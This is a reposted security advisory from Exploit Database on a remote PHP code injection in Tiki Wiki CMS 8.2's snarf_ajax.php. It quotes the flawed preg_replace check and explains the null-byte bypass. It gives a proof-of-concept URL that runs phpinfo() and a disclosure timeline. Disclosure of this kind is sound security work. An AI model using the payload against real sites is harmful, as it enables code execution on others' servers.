Tiki Wiki CMS Groupware 8.2 – ‘snarf_ajax.php’ Remote PHP Code Injection

• Exploit Database
• 10 阅读

• 作者： EgiX
  日期： 2011-12-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18265/

• -------------------------------------------------------------------------
  Tiki Wiki CMS Groupware <= 8.2 (snarf_ajax.php) Remote PHP Code Injection
  -------------------------------------------------------------------------
  
  author...........: Egidio Romano aka EgiX
  mail.............: n0b0d13s[at]gmail[dot]com
  software link....: http://info.tiki.org/
  
  
  [-] Vulnerability explanation:
  
  The vulnerable code is located into /lib/wiki-plugins/wikiplugin_snarf.php:
  
  170. // If the user specified a more specialized regex
  171. if ( isset($params['regex']) && isset($params['regexres']) && preg_match('/^(.)(.)+\1[^e]*$/', $params['regex']) ) {
  172.$snarf = preg_replace( $params['regex'], $params['regexres'], $snarf );
  173. }
  
  input passed through $_REQUEST['regex'] is checked by a regular expression at line 171 to prevent
  execution of arbitrary PHP code using the'e'modifier in a call to preg_replace() at line 172.
  Butthischeckcouldbebypassedwith anull byte injection,requesting an URL like this:
  
   http://<hostname>/tiki-8.2/snarf_ajax.php?url=1®exres=phpinfo()®ex=//e%00/
  
  Tiki internal filters removeall null bytesfrom user input,but for some strange reasonthis
  doesn'thappen within admin sessions. So, successful exploitation of this vulnerability requires
  an user account withadministrationrights and'PluginSnarf'to be enabled(not by default).
  
  
  [-] Disclosure timeline:
  
  [23/11/2011] - Vulnerability discovered
  [24/11/2011] - Issue reported to security(at)tikiwiki.org
  [24/11/2011] - New ticket opened: http://dev.tiki.org/item4059
  [27/11/2011] - Vendor confirmed the issue
  [27/11/2011] - CVE number requested
  [28/11/2011] - Assigned CVE-2011-4558
  [22/12/2011] - After four weeks still no fix released
  [23/12/2011] - Public disclosure